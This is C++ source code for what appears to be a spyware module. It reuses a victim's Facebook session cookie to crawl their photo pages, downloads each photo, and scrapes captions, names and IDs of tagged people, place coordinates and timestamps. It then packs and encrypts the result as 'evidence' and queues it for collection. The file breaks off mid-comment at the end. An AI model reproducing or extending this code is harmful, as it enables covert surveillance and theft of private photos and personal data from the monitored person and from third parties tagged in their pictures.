#include <Windows.h>
#include <WinInet.h>
#include <string>


#include "photo.h"
#include "cookies.h"
#include "conf.h"
#include "facebook.h"
#include "globals.h"
#include "JSON.h"
#include "JSONValue.h"
#include "proto.h"
#include "social.h"
#include "utils.h"
#include "uthash.h"
#include "zmem.h"

#include "photo_facebook.h"


#ifdef _DEBUG
#include "debug.h"
#endif


#define URL_SIZE_IN_CHARS	2048

/* facebook defines  */
#define FBID_TAG			 "data-fbid=\""
#define FBID_TOKEN			 "\"token\":\""
#define FBID_PHOTO_URL		 "id=\"fbPhotoImage\" src=\"https://"
#define FBID_PHOTO_CAPTION   "<span class=\"hasCaption\">"
#define FBID_PHOTO_TAG_LIST	 "<span class=\"fbPhotoTagList\" id=\"fbPhotoPageTagList\">"
#define FBID_PHOTO_TAG_ITEM  "<span class=\"fbPhotoTagListTag tagItem\">"
#define FBID_PHOTO_LOCATION  "<span class=\"fbPhotoTagListTag withTagItem tagItem\">"
#define FBID_PHOTO_TIMESTAMP "fbPhotoPageTimestamp"

typedef struct _facebook_photo_id {
	UINT64	fbid;			// key
#define PHOTOS_YOURS	0
#define PHOTOS_OF_YOU	1
#define PHOTOS_ALBUM    2  // hack for shared album fbid order problem
	DWORD   dwType;			
	UT_hash_handle hh;		// handle
} facebook_photo_id;

typedef struct _facebook_placeId_to_location {
	UINT64 placeId;   // key
	FLOAT  latitude;
	FLOAT  longitude;
	UT_hash_handle hh;
} facebook_placeId_to_location;

/* start of string utils*/
bool replace(std::string& str, const std::string& from, const std::string& to) {
    size_t start_pos = str.find(from);
    if(start_pos == std::string::npos)
        return false;
    str.replace(start_pos, from.length(), to);
    return true;
}

void replaceAll(std::string& str, const std::string& from, const std::string& to) {
    if(from.empty())
        return;
    size_t start_pos = 0;
    while((start_pos = str.find(from, start_pos)) != std::string::npos) {
        str.replace(start_pos, from.length(), to);
        start_pos += to.length(); 
    }
}
/* end of string utils */

/* start of facebook photo handling functions */

/* 
	Description:	extracts the photo blob from a Facebook photo specific page
	Params:			Facebook cookie, photo specific page, returned size of the blog, returned path (URL) of the blob
	Usage:			returns null or a buffer containing the image that must be freed by the caller, strPhotoBlobPath must be freed by the caller if not null. 
					Input page is modified temporary.
*/
LPBYTE FacebookPhotoExtractPhotoBlob(__in LPSTR strCookie, __in LPSTR strHtmlPage, __out PULONG uSize, __out LPSTR *strPhotoBlobPath)
{
	/* 
		allocations: 
		- strUrl is allocated and free'd accordingly
		- strRecvPhoto is allocated and returned to the caller if not NULL
		- strPhotoBlobPath is allocated and returned to the caller if not NULL
	*/
	
	LPSTR strParser1, strParser2;
	CHAR chTmp;

	/*	photo url follows id="fbPhotoImage": 
			<img class="fbPhotoImage img" id="fbPhotoImage" src="https://scontent-b.xx.fbcdn.net/hphotos-xpf1/v/t1.0-9/10409298_1588556341373553_8673446508125364435_n.jpg?oh=122bdc630c330a300e034afee9ead8a0&amp;oe=55290EDD" alt="">  
	*/ 
	strParser1 = strstr(strHtmlPage, FBID_PHOTO_URL);
	if (!strParser1)
		return NULL;

	strParser1 += strlen(FBID_PHOTO_URL);

	strParser2 = strstr(strParser1, "\"");
	if (!strParser2)
		return NULL;

	/* temporary change input page */
	chTmp = *strParser2;
	*strParser2 = NULL;

	
	/* poor man html unescape, replace the ampersand in the url: &amp; -> & */
	std::string tmp(strParser1);
	replaceAll(tmp, "&amp;", "&");
	LPCSTR szUnescapedUrl = tmp.c_str();

	LPWSTR strUrl = (LPWSTR) zalloc_s(URL_SIZE_IN_CHARS  * sizeof(WCHAR));
	if (!strUrl)
		return NULL;

	/* save the complete url, break it down for request next */
	_snwprintf_s(strUrl, URL_SIZE_IN_CHARS, _TRUNCATE, L"%S", szUnescapedUrl );

	/* restore input page */
	*strParser2 = chTmp;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - photo url: %s\n", __FUNCTION__, strUrl);
#endif

	/* copy url into the out parameter*/
	*strPhotoBlobPath = (LPSTR) zalloc_s(strlen(szUnescapedUrl) + 1);
	if (*strPhotoBlobPath)
		strncpy_s(*strPhotoBlobPath, strlen(szUnescapedUrl) + 1, szUnescapedUrl, _TRUNCATE);
	
	/*	strUrl is "scontent-b.xx.fbcdn.net/hphotos-xpf...."
		null-out the first '/' and obtain domain-NULL-relative 
		strUrl will hold the domain
		strUrlRelative will hold the relative part, WinHTTP can handle the missing '/'
	*/
	LPWSTR strUrlRelative = StrStrW(strUrl, L".net");
	if (!strUrlRelative)
	{
		zfree_s(strUrl);
		return NULL;
	}

	strUrlRelative += wcslen(L".net");
	*strUrlRelative = NULL;
	strUrlRelative +=1;


	LPBYTE strRecvPhoto = NULL;
	DWORD dwBuffSize = 0;
	DWORD dwRet = HttpSocialRequest(strUrl, L"GET", strUrlRelative, 443, NULL, 0, &strRecvPhoto, &dwBuffSize, strCookie);
	*uSize = dwBuffSize;
	zfree_s(strUrl);
	
#ifdef _DEBUG
	if (strRecvPhoto)
		HexDump(L"[*] Facebook Photo header", strRecvPhoto, 48);
#endif

	if (strRecvPhoto)
		return strRecvPhoto;
	else
		return NULL;
}


/*
	Description:	extracts the caption from a Facebook photo specific page
	Params:			Facebook photo specific page
	Usage:			returns null or a string containing the caption, which must be freed by the caller. Input page is modified temporary.
*/
LPSTR FacebookPhotoExtractPhotoCaption(LPSTR strHtmlPage)
{
	/*
		allocations:
			- strCaption is allocated and returned to the caller if not NULL

	*/

	LPSTR strParser1, strParser2;
	CHAR chTmp;
	LPSTR strCaption = NULL;

	/*  caption, if any, follows span class="hasCaption": 
			<span class="hasCaption"> <br>very serious</span> 
	*/ 

	strParser1 = strstr(strHtmlPage, FBID_PHOTO_CAPTION);
	if (strParser1)
	{
		strParser1 += strlen(FBID_PHOTO_CAPTION);
		strParser1 = strstr(strParser1, ">"); // skip <br>
		
		if (!strParser1)
			return NULL;

		strParser1 +=1;

		strParser2 = strstr(strParser1, "</");

		if (strParser2)
		{

			/* temporary change input page */
			chTmp = *strParser2;
			*strParser2 = NULL;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - caption: %S %d\n", __FUNCTION__, strParser1, strlen(strParser1));
#endif

			size_t length = strlen(strParser1) + 1;
			strCaption = (LPSTR) zalloc_s(length);
		
			if (!strCaption)
				return NULL;

			std::string tmp(strParser1);
			replaceAll(tmp, "\"", "\\\"");
			LPCSTR szUnescapedUrl = tmp.c_str();

			strncpy_s(strCaption, length, szUnescapedUrl, _TRUNCATE);
			

			/* restore input page */
			*strParser2 = chTmp;
		}

	}

	return strCaption;
}

/*
	Description:	extracts tags from a Facebook photo specific page
	Params:			Facebook photo specific page
	Usage:			returns null or a buffer containing a list of tags, which must be freed by the caller. Input page is modified temporary.
					
					Array of tags has the format 'name, facebook_id;..', when facebook_id is not available it's set to null:
					- johnny,12341234;begoode,null;unknown,null 	

					Assumptions:
					- Facebook names/handles can't contain ',' or ';'
*/
LPSTR FacebookPhotoExtractPhotoTags(LPSTR strHtmlPage)
{
	/*
		allocations:
			- strTags is reallocated within a loop and returned to the caller if not NULL
	*/

	LPSTR strParser1, strParser2, strParserInner1, strParserInner2;
	CHAR chTmp, chTmpInner;
	LPSTR strTags = NULL;

	/*  other people tag:

			everything will be within <span class="fbPhotoTagList" id="fbPhotoPageTagList">..</span>:
	
			- not registered in Facebook
				<span class="fbPhotoTagListTag tagItem"><input type="hidden" autocomplete="off" name="tag[]" value="1588556671373520"><a class="textTagHovercardLink taggee" data-tag="1588556671373520" data-hovercard="/ajax/hovercard/hovercard.php?id=1588556671373520&amp;type=mediatag&amp;media_info=0.1588556341373553" aria-owns="js_e" aria-haspopup="true" id="js_f">Bloody Abu Dhabi</a></span>
			
			- registered in Facebook
				<span class="fbPhotoTagListTag tagItem"><input type="hidden" autocomplete="off" name="tag[]" value="100003663718866"><a class="taggee" href="https://www.facebook.com/antroide.succhienmberg" data-tag="100003663718866" data-hovercard="/ajax/hovercard/hovercard.php?id=100003663718866&amp;type=mediatag&amp;media_info=0.1588556338040220" aria-owns="js_9" aria-haspopup="true" id="js_a">Antroide Succhienmberg</a></span>
	*/
	strParser1 = strstr(strHtmlPage, FBID_PHOTO_TAG_LIST);
	if (strParser1)
	{
		/* loop through the tag list */
		while (TRUE)
		{
			strParser1 = strstr(strParser1, FBID_PHOTO_TAG_ITEM);
			
			if (!strParser1) // if we can't find a tag item, bail 
				break;

			strParser1 += strlen(FBID_PHOTO_TAG_ITEM);

			strParser2 = strstr(strParser1, "</span>");

			if (!strParser2) 
				break;

			/* temporary change input page */
			chTmp = *strParser2;
			*strParser2 = NULL;

			/* advance strParser1 skipping <input ...>, can skip the return value check */
			strParser1 = strstr(strParser1, ">") + 1;  
			

#ifdef _DEBUG
			OutputDebug(L"[*] %S - tag item: %S\n", __FUNCTION__, strParser1);
#endif


			/* a] fetch taggee facebook id if available, 'null' otherwise */
			CHAR strFacebookId[256] = {'n', 'u', 'l', 'l', 0};

			if (strstr(strParser1, "class=\"taggee\""))
			{		/* registered user fetch the id */
					 strParserInner1 = strstr(strParser1, "data-tag=\"");
					 strParserInner1 += strlen("data-tag=\"");

					 if (strParserInner1)
					 {
						 strParserInner2 = strstr(strParserInner1, "\"");

						 /* temporary change input page */
						 chTmpInner = *strParserInner2;
						 *strParserInner2 = NULL;

						 strncpy_s(strFacebookId, 256, strParserInner1, _TRUNCATE);
						 

						 /* restore input page */
						 *strParserInner2 = chTmpInner;
					 }
			
			}

			/* b] fetch taggee name */
			CHAR strTaggeeName[512] = {'u', 'n', 'k', 'n', 'o', 'w', 'n', 0}; 

			strParserInner1 = strstr(strParser1, ">");
			if (strParserInner1)
			{
				strParserInner1 +=1;

				strParserInner2 = strstr(strParserInner1, "<");

				/* temporary change input page */
				 chTmpInner = *strParserInner2;
				 *strParserInner2 = NULL;

				 strncpy_s(strTaggeeName, 512, strParserInner1, _TRUNCATE);

				 /* restore input page */
				 *strParserInner2 = chTmpInner;

			}

#ifdef _DEBUG
			OutputDebug(L"[*] %S - taggee -> %S id -> %S\n", __FUNCTION__, strTaggeeName, strFacebookId);
#endif

			/* restore input page */
			*strParser2 = chTmp;

			/* prepare for next loop */
			strParser1 = strParser2;


			/* save new record */
			size_t tags_size = 0, old_tags_size = 0;
			
			// determine new buffer size and increase allocated space accordingly
			if (strTags)
				old_tags_size += strlen(strTags);

			tags_size = old_tags_size + strlen(strTaggeeName) + strlen(strFacebookId) + 3; // 3 = comma + semicolon + NULL
			strTags = (LPSTR) realloc(strTags, tags_size); 

			// if allocation failed return either what has been allocated so far or NULL
			if (!strTags)
				return strTags;

			// initialize to 0 before first record strcat_s
			if (!old_tags_size)
				SecureZeroMemory(strTags, tags_size);

			// append strings
			strcat_s(strTags, tags_size, strTaggeeName);
			strcat_s(strTags, tags_size, ",");
			strcat_s(strTags, tags_size, strFacebookId);
			strcat_s(strTags, tags_size, ";");


#ifdef _DEBUG
			OutputDebug(L"[*] %S - record updated: %S\n", __FUNCTION__, strTags);
#endif
		}
	}

	return strTags;
}

/*
	Description:	extracts the location from a Facebook photo specific page
	Params:			Facebook cookie, Facebook photo specific page
	Usage:			returns null or a string containing the location, which must be freed by the caller. Input page is modified temporary.

					location format is latitude,longitude:
					45.0,-9.1
*/
LPSTR FacebookPhotoExtractPhotoLocation(__in LPSTR strCookie, __in LPSTR strHtmlPage, facebook_placeId_to_location *idToLocation_hash_head)
{
	/*	
		allocations:
			- a page is fetched and free'd
			- strLocation is allocated and returned to the caller if not NULL
	*/

	LPSTR strParser1, strParser2;
	CHAR chTmp;
	LPSTR strLocation = NULL;

	/*	location:
			a]	find
				<span class="fbPhotoTagListTag withTagItem tagItem"><input type="hidden" autocomplete="off" name="tag[]" value="231160113588411"><a class="taggee" href="https://www.facebook.com/pages/Nurburgring-Nordschleife/231160113588411?ref=stream" data-hovercard="/ajax/hovercard/page.php?id=231160113588411" aria-owns="js_9" aria-haspopup="true" id="js_a">Nurburgring Nordschleife</a></span>
			
			b]	value s.a. 231160113588411 is the placeId and key idToLocation_hash_head
	*/

	strParser1 = strstr(strHtmlPage, FBID_PHOTO_LOCATION);
	if (strParser1)
	{
		/* a] */
		strParser1 += strlen(FBID_PHOTO_LOCATION);
		strParser1 = strstr(strParser1, "value=\"");
		if (!strParser1)
			return NULL;
		
		strParser1 += strlen("value=\"");
		
		strParser2 = strstr(strParser1, "\"");
		if (!strParser2)
			return NULL;
		
		
		/* temporary change input page */
		chTmp = *strParser2;
		*strParser2 = NULL;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - place id : %S\n", __FUNCTION__, strParser1);
#endif
		
		UINT64 thisPlaceId = _strtoui64(strParser1, NULL, 10);
		if (!thisPlaceId)
			return NULL;

		facebook_placeId_to_location *findMe = NULL;
		HASH_FIND(hh, idToLocation_hash_head, &thisPlaceId, sizeof(UINT64), findMe);

		if (findMe == NULL)
			return NULL;

		/* prepare full string */
		strLocation = (LPSTR) zalloc_s(64); 
		if (strLocation)
			_snprintf_s(strLocation, 64, _TRUNCATE, "%f,%f", findMe->latitude, findMe->longitude );


#ifdef _DEBUG
		OutputDebug(L"[*] %S - coordinates id : %f - %f\n", __FUNCTION__, findMe->latitude, findMe->longitude);
#endif

		/* restore input page */
		*strParser2 = chTmp;

	}

	return strLocation;
}

/*
	Description:	extracts the epoch timestamp  from a Facebook photo specific page
	Params:			Facebook photo specific page
	Usage:			returns null or a string containing the epoch timestamp, which must be freed by the caller. Input page is modified temporary.
					
*/
LPSTR FacebookPhotoExtractTimestamp(__in LPSTR strHtmlPage)
{
	/* allocations:
		- strTimestamp is allocated and returned to the caller
	*/

	LPSTR strParser1, strParser2;
	CHAR chTmp;
	LPSTR strTimestamp = NULL;

	strParser1 = strstr(strHtmlPage, FBID_PHOTO_TIMESTAMP);
	if (!strParser1)
		return NULL;
	
	strParser1 += strlen(FBID_PHOTO_TIMESTAMP);
	strParser1 = strstr(strParser1, "data-utime=\"");
	if (!strParser1)
		return NULL;

	strParser1 += strlen("data-utime=\"");

	strParser2 = strstr(strParser1, "\"");
	if (!strParser2)
		return NULL;

	/* temporary change input page */
	chTmp = *strParser2;
	*strParser2 = NULL;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - timestamp url: %S\n", __FUNCTION__, strParser1);
#endif

	size_t timestampLength = strlen(strParser1) + 1;
	strTimestamp = (LPSTR) zalloc_s(timestampLength);
	if (!strTimestamp)
		return NULL;

	strncpy_s(strTimestamp, timestampLength, strParser1, _TRUNCATE);

	/* restore input page */
	*strParser2 = chTmp;

	return strTimestamp;
}


/*
	Description:	append to strAppendMe a snprintf' of strFormat and strConsumed
	Params:			string to be appended, format string with a %s (e.g. \"description\": \"%s\", ";), string sprintf'd into the format string
	Usage:			changes strAppendMe, by reallocating  and appending.

*/
VOID FacebookPhotoLogJsonAppend(LPSTR* strAppendMe, __in LPCSTR strFormat, __in LPSTR strConsumed)
{
	/*	allocations:
		- strTemp is allocated and free'd
		- strAppendMe is reallocated		
	*/

	if (!*strAppendMe  || !strFormat || !strConsumed)
		return;

	size_t strJsonLogSize = 0;
	LPSTR strTemp = NULL;
	size_t tempSize = strlen(strConsumed) + strlen(strFormat) -2 + 1; // -2: %s , +1: null
	strTemp = (LPSTR) zalloc_s(tempSize);
	if (strTemp)
	{
		_snprintf_s(strTemp, tempSize, _TRUNCATE, strFormat, strConsumed);

		strJsonLogSize = strlen(strTemp) + strlen(*strAppendMe) + 1;
		*strAppendMe = (LPSTR) realloc(*strAppendMe, strJsonLogSize);

		if (*strAppendMe)
			strncat_s(*strAppendMe, strJsonLogSize, strTemp, _TRUNCATE);

		zfree_s(strTemp);
	}
		
}

/* 
	Description:	prepare and queue a complete photo log (blob + metadata) for a single fbid
	Params:			photo blob, its size, caption, tags, location, path, timestamp
	Usage:			-
					
*/
VOID FacebookPhotoLog(__in LPBYTE lpPhotoBlob, __in ULONG uSize, __in LPSTR strCaption, __in LPSTR strTags, __in LPSTR strLocation, __in LPSTR strPhotoPath, __in LPSTR strTimestamp)
{
	/* allocations:
		- strJsonLog contain the full json log and before queuing the evidence the null termination is removed, beware
	*/
	LPSTR strJsonLog = NULL;
	size_t strJsonLogSize = 0;

	// photo blob is mandatory
	if (!lpPhotoBlob)
		return;

	// program
	LPCSTR strProgramJson = "{ \"program\": \"Facebook\", \"device\": \"Desktop\", ";
	size_t programSize = strlen(strProgramJson) + 1;
	strJsonLog = (LPSTR) zalloc_s(programSize);
	if (strJsonLog)
		strncpy_s(strJsonLog, programSize, strProgramJson, _TRUNCATE);
		
	// path
	if (strPhotoPath)
	{
		LPCSTR strCaptionTemplate = "\"path\": \"%s\", ";
		FacebookPhotoLogJsonAppend(&strJsonLog, strCaptionTemplate, strPhotoPath);
	}

	// caption
	if (strCaption)
	{
		LPCSTR strCaptionTemplate = "\"description\": \"%s\", ";
		FacebookPhotoLogJsonAppend(&strJsonLog, strCaptionTemplate, strCaption);
	}

	// tags
	if (strTags)
	{
		// "convert johnny,12341234;begoode,null;" to [{"name":"johnny", "handle":"12341234"},{"name":"begoode"}]
		LPSTR strContext = NULL;
		LPSTR strRecord = strtok_s(strTags, ";", &strContext);
		size_t strTagJsonSize = 0;

		LPSTR strTagJson = (LPSTR) zalloc_s(4);

		if (strTagJson)
		{
			_snprintf_s(strTagJson, 4, _TRUNCATE, "[");

			while (strRecord != NULL)
			{

				LPSTR strHandle = strstr(strRecord, ",");
				if (strHandle) // verify handle is kosher
				{
					*strHandle = NULL;
					strHandle +=1;

					// strRecord points to taggee name, strHandle to its handle, if any
					LPCSTR strTaggeeTemplate = "{\"name\": \"%s\"";
					FacebookPhotoLogJsonAppend(&strTagJson, strTaggeeTemplate, strRecord);

					if ( strcmp(strHandle, "null") )
					{
						// we've a handle
						LPCSTR strHandleTemplate = ", \"handle\": \"%s\", \"type\": \"facebook\"";
						FacebookPhotoLogJsonAppend(&strTagJson, strHandleTemplate, strHandle);
					} 

					// close the record with "},"
					strTagJsonSize = strlen(strTagJson) + 1 + 2; // null + },
					strTagJson = (LPSTR) realloc(strTagJson, strTagJsonSize);
					if (strTagJson)
						strncat_s(strTagJson, strTagJsonSize, "},", _TRUNCATE);
				}
				strRecord = strtok_s(NULL, ";", &strContext);
			}

			// overwrite last "," and close the record with "],"
			LPSTR strComma = strrchr(strTagJson, ',');
			if (strComma)
				*strComma = ' ';

			
			// prepare the final json 
			LPCSTR strTagsTemplate = "\"tags\": %s], ";
			FacebookPhotoLogJsonAppend(&strJsonLog, strTagsTemplate, strTagJson);

			zfree_s(strTagJson);
		}
	}

	// location
	if (strLocation)
	{
		// convert "45.0,-9.1" to {"lat": 45.0, "lon": 9.1, "r": 50}
		LPSTR strLongitude = strstr(strLocation, ",");
		LPSTR strLocationJson = NULL;
		
		if (strLongitude)
		{
			strLocationJson = (LPSTR) zalloc_s(4);
			if (strLocationJson)
			{
				_snprintf_s(strLocationJson, 4, _TRUNCATE, "{");
				
				*strLongitude = NULL;
				strLongitude +=1;

				// strLocation points to lat value, strLongitude points to lon value
				FacebookPhotoLogJsonAppend(&strLocationJson, "\"lat\": %s, ", strLocation);

				FacebookPhotoLogJsonAppend(&strLocationJson, "\"lon\": %s, \"r\": 50}", strLongitude);

				LPCSTR strLocationTemplate = "\"place\": %s, ";
				FacebookPhotoLogJsonAppend(&strJsonLog, strLocationTemplate, strLocationJson);

				zfree_s(strLocationJson);
			}
		}
	}

	// timestamp
	if (strTimestamp)
	{
		LPCSTR strTimestampTemplate = "\"time\": %s, ";
		FacebookPhotoLogJsonAppend(&strJsonLog, strTimestampTemplate, strTimestamp);
	}

	// close json

#ifdef _DEBUG
	OutputDebug(L"[*] %S - json log: %S\n", __FUNCTION__, strJsonLog);
#endif

	strJsonLogSize = strlen(strJsonLog);
	CHAR* strReplace = strrchr(strJsonLog, ',');
	if (strReplace)
	{
		// N.B.: from now on strJsonLog is not NULL terminated anymore
		// length is 3 because we're replacing ", " + NULL, which terminates every partial json string 
		CHAR a[] = { '}', ' ', ' ' };  
		memcpy_s(strReplace, 3, &a, 3);
	}
	
	

	size_t additionalHeaderSize = sizeof(PHOTO_ADDITIONAL_HEADER) + strJsonLogSize;
	LPPHOTO_ADDITIONAL_HEADER lpPhotoAdditionalHeader = (LPPHOTO_ADDITIONAL_HEADER) zalloc_s(additionalHeaderSize);

	lpPhotoAdditionalHeader->uVersion = LOG_PHOTO_VERSION;
	memcpy_s(lpPhotoAdditionalHeader->strJsonLog, strJsonLogSize, strJsonLog, strJsonLogSize);


	DWORD dwEvSize;
	LPBYTE lpEvBuffer = PackEncryptEvidence(uSize, lpPhotoBlob, PM_PHOTO, (LPBYTE) lpPhotoAdditionalHeader, additionalHeaderSize, &dwEvSize);
	
	zfree_s(lpPhotoAdditionalHeader);

	/* queue the evidence */
	if (!QueuePhotoLog(lpEvBuffer, dwEvSize))
		zfree_s(lpEvBuffer);

	/* cleanup */
	zfree_s(strJsonLog);


}

/*
	Description:	fetches Facebook photo blob and its metadata and then queues the evidence 
	Params:			valid Facebook cookie, struct for fbid
	Usage:			-
*/
VOID FacebookPhotoHandleSinglePhoto(__in LPSTR strCookie,  facebook_photo_id *fbid, facebook_placeId_to_location *idToLocation_hash_head)
{

	/*	
		a] fetch page:
			url format:
			https://www.facebook.com/photo.php?fbid=1588556338040220 
	*/

	LPWSTR strUrl = (LPWSTR) zalloc_s(URL_SIZE_IN_CHARS  * sizeof(WCHAR));
	if (!strUrl)
		return;

	_snwprintf_s(strUrl, URL_SIZE_IN_CHARS , _TRUNCATE, L"/photo.php?fbid=%I64d",  fbid->fbid);
	
	LPSTR strRecvBuffer = NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie);
	zfree_s(strUrl);

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
		return;


	/* strip hidden_elem */
	std::string tmpSanitize(strRecvBuffer);
	replaceAll(tmpSanitize, " hidden_elem", "");
	replaceAll(tmpSanitize, "hidden_elem ", "");
	replaceAll(tmpSanitize, " hidden_elem ", "");
	LPSTR facebookPhotoPageSanitized = _strdup(tmpSanitize.c_str());

	if( facebookPhotoPageSanitized == NULL)
	{
		zfree_s(strRecvBuffer);
		return;
	}
	

	/*	b] mandatory - retrieve the photo blob and its path */ 
	ULONG uSize = 0;
	LPSTR strPhotoBlobPath = NULL;
	LPBYTE strRecvPhoto = FacebookPhotoExtractPhotoBlob(strCookie, facebookPhotoPageSanitized, &uSize, &strPhotoBlobPath);


	/*  c] optional - caption	*/ 
	LPSTR strCaption = FacebookPhotoExtractPhotoCaption(facebookPhotoPageSanitized);


	/*  d] optional - other people tag	*/
	LPSTR strTags = FacebookPhotoExtractPhotoTags(facebookPhotoPageSanitized);
	
	/*	e] optional - location */
	LPSTR strLocation = FacebookPhotoExtractPhotoLocation(strCookie, facebookPhotoPageSanitized, idToLocation_hash_head);

	/*  f] optional - timestamp */
	LPSTR strEpochTimestamp = FacebookPhotoExtractTimestamp(facebookPhotoPageSanitized);

	/* log all the things */
	FacebookPhotoLog(strRecvPhoto, uSize, strCaption, strTags, strLocation, strPhotoBlobPath, strEpochTimestamp);

	/* cleanup */
	if (strRecvPhoto)
		zfree_s(strRecvPhoto);

	if (strPhotoBlobPath)
		zfree_s(strPhotoBlobPath);

	if (strCaption)
		zfree_s(strCaption);

	if (strTags)
		zfree_s(strTags);

	if (strLocation)
		zfree_s(strLocation);

	if (strEpochTimestamp)
		zfree_s(strEpochTimestamp);
	
	zfree_s(strRecvBuffer); 
	zfree_s(facebookPhotoPageSanitized);
}

/*
	Description:	parse StrContainingFbids and inserts fbids found into hash_head
	Params:			string containg fbids, pointer to hash head, type of fbid
	Usage:			new fbids are allocated and inserted into hash_head, StrContainingFbids temporarily changed 
*/
VOID FacebookPhotoExtractFbidsFromPage(__in LPSTR StrContainingFbids, facebook_photo_id **hash_head, DWORD dwFbidType)
{
	LPSTR strPhotoParser1, strPhotoParser2;
	CHAR strFbid[32]; 

	strPhotoParser1 = StrContainingFbids;
	while (TRUE)
	{
		strPhotoParser1 = strstr(strPhotoParser1, FBID_TAG);
		if (!strPhotoParser1)
			break;

		strPhotoParser1 += strlen(FBID_TAG);

		strPhotoParser2 = strstr(strPhotoParser1, "\"");
		if (!strPhotoParser2)
			break;

		*strPhotoParser2 = NULL;
		_snprintf_s(strFbid, sizeof(strFbid), "%s", strPhotoParser1);
		strPhotoParser1 = strPhotoParser2 + 1;

		facebook_photo_id *fbid_new = (facebook_photo_id*) zalloc_s(sizeof(facebook_photo_id));
		fbid_new->fbid = _strtoui64(strFbid, NULL, 10);
		fbid_new->dwType = dwFbidType;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - fbid: %I64d count: %d\n",  __FUNCTION__, fbid_new->fbid, HASH_COUNT(*hash_head));
#endif

		facebook_photo_id *fbid_tmp = NULL;
		HASH_FIND(hh, *hash_head, &fbid_new->fbid, sizeof(UINT64), fbid_tmp);

		if (fbid_tmp == NULL) {
			HASH_ADD(hh, *hash_head, fbid, sizeof(UINT64), fbid_new);
		} else {
			zfree_s(fbid_new);
		}

	}
		
}

/*
	Description:	crawls from strPageContainingToken and inserts fbids found into hash_head
	Params:			valid Facebook cookie, Facebook user id, page containing TaggedPhotosAppCollectionPagelet token, pointer to hash head
	Usage:			new fbids are allocated and inserted into hash_head, strPageContainingToken temporarily changed 
*/
VOID FacebookPhotoCrawlPhotosOfYou(__in LPSTR strCookie, __in LPSTR strUserId, __in LPSTR strPageContainingToken, facebook_photo_id **hash_head)
{
	
	LPSTR strParser1, strParser2;
	CHAR chTmp;

	/*  Photos of You, e.g.:
		https://www.facebook.com/profile.php?id=100006576075695&sk=photos&collection_token=100006576075695%3A2305272732%3A4
		"controller": "TaggedPhotosAppCollectionPagelet"
		...
		"token": "100006576075695:2305272732:4", // using token 
		"href": "https:\/\/www.facebook.com\/profile.php?id=100006576075695&sk=photos&collection_token=100006576075695\u00253A2305272732\u00253A4", // ignore href, don't want to json unescape 
	*/

	/* a] fetch page with fbids */
	strParser1 = strstr(strPageContainingToken, "\"TaggedPhotosAppCollectionPagelet\"");
	if (!strParser1)
		return;

	strParser1 = strstr(strParser1, FBID_TOKEN);

	if (!strParser1)
		return;

	strParser1 += strlen(FBID_TOKEN);

	strParser2 = strstr(strParser1, "\",");
	if (!strParser2)
		return;
	
	/* temporary change input page */
	chTmp = *strParser2;
	*strParser2 = NULL;
	
	LPWSTR strUrlPhotos = (LPWSTR) zalloc_s(URL_SIZE_IN_CHARS * sizeof(WCHAR));
	if (!strUrlPhotos)
		return;

	_snwprintf_s(strUrlPhotos, URL_SIZE_IN_CHARS, _TRUNCATE, L"/profile.php?id=%S&sk=photos&collection_token=%S", strUserId, strParser1);

	/* restore input page */
	*strParser2 = chTmp;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - photos of you: %s\n", __FUNCTION__, strUrlPhotos);
#endif

	LPSTR strRecvPhotoBuffer = NULL;
	DWORD dwBuffSize = 0;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrlPhotos, 443, NULL, 0, (LPBYTE *)&strRecvPhotoBuffer, &dwBuffSize, strCookie);
	

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree_s(strUrlPhotos);
		return;
	}

	/*	b] collect fbids 
		e.g. data-fbid="1588556341373553">
	*/

	FacebookPhotoExtractFbidsFromPage(strRecvPhotoBuffer, hash_head, PHOTOS_OF_YOU);
	
	/* cleanup */
	zfree_s(strRecvPhotoBuffer);
	zfree_s(strUrlPhotos);	
}

/*
	Description:	crawls from strPageContainingToken and inserts fbids found into hash_head
	Params:			valid Facebook cookie, Facebook user id, page containing AllPhotosAppCollectionPagelet token, pointer to hash head
	Usage:			new fbids are allocated and inserted into hash_head, strPageContainingToken temporarily changed

*/
VOID FacebookPhotoCrawlYourPhotos(__in LPSTR strCookie, __in LPSTR strUserId, __in LPSTR strPageContainingToken, facebook_photo_id **hash_head)
{
	LPSTR strParser1, strParser2;
	CHAR chTmp;

	/*  2] Your Photos, e.g.:
		https://www.facebook.com/profile.php?id=100006576075695&sk=photos&collection_token=100006576075695%3A2305272732%3A5
		"controller": "AllPhotosAppCollectionPagelet"
	*/

	/* 2a] fetch page with fbids */
	strParser1 = strstr(strPageContainingToken, "\"AllPhotosAppCollectionPagelet\"");
	if (!strParser1)
		return;

	strParser1 = strstr(strParser1, FBID_TOKEN);

	if (!strParser1)
		return;

	strParser1 += strlen(FBID_TOKEN);

	strParser2 = strstr(strParser1, "\",");
	if (!strParser2)

		return;
	
	/* temporary change input page */
	chTmp = *strParser2;
	*strParser2 = NULL;
	
	LPWSTR strUrlPhotos = (LPWSTR) zalloc_s(URL_SIZE_IN_CHARS * sizeof(WCHAR));
	if (!strUrlPhotos)
		return;

	_snwprintf_s(strUrlPhotos, URL_SIZE_IN_CHARS, _TRUNCATE, L"/profile.php?id=%S&sk=photos&collection_token=%S", strUserId, strParser1);

	/* restore input page */
	*strParser2 = chTmp;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - your photos: %s\n", __FUNCTION__, strUrlPhotos);
#endif

	LPSTR strRecvPhotoBuffer = NULL;
	DWORD dwBuffSize = 0;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrlPhotos, 443, NULL, 0, (LPBYTE *)&strRecvPhotoBuffer, &dwBuffSize, strCookie);
	zfree_s(strUrlPhotos);

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
		return;

	/* 2b] collect fbids 
		e.g. data-fbid="1588556341373553">
	*/

	FacebookPhotoExtractFbidsFromPage(strRecvPhotoBuffer, hash_head, PHOTOS_YOURS);
	zfree_s(strRecvPhotoBuffer);
	
}

/*
